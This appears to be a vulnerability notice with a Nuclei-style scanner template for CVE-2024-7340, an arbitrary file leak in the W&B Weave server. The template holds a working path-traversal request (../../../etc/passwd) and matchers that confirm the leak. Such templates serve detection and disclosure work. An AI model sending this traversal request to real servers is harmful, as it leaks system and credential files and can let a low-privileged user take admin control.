The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
PoC代码[已公开]
id: CVE-2024-7340
info:
name: W&B Weave Server - Remote Arbitrary File Leak
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
reference:
- https://github.com/advisories/GHSA-r49h-6qxq-624f
- https://github.com/wandb/weave/pull/1657
- https://research.jfrog.com/vulnerabilities/wandb-weave-server-remote-arbitrary-file-leak-jfsa-2024-001039248/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-7340
epss-score: 0.847
epss-percentile: 0.99289
metadata:
verified: true
max-request: 1
tags: cve,cve2024,lfr,weave,wandb
http:
- raw:
- |
GET /__weave/file/tmp/weave/fs/../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "application/octet-stream"
- "filename=passwd"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100b3572b4a31499bb477a7bd139cb574828a20cc3de4c78ada0db3932b0a8b6c630220232a0392ce670447af4dc45c164b2b24c5e35f5e19ecf131beb913f3d6452f25:922c64590222798bb761d5b6d8e72950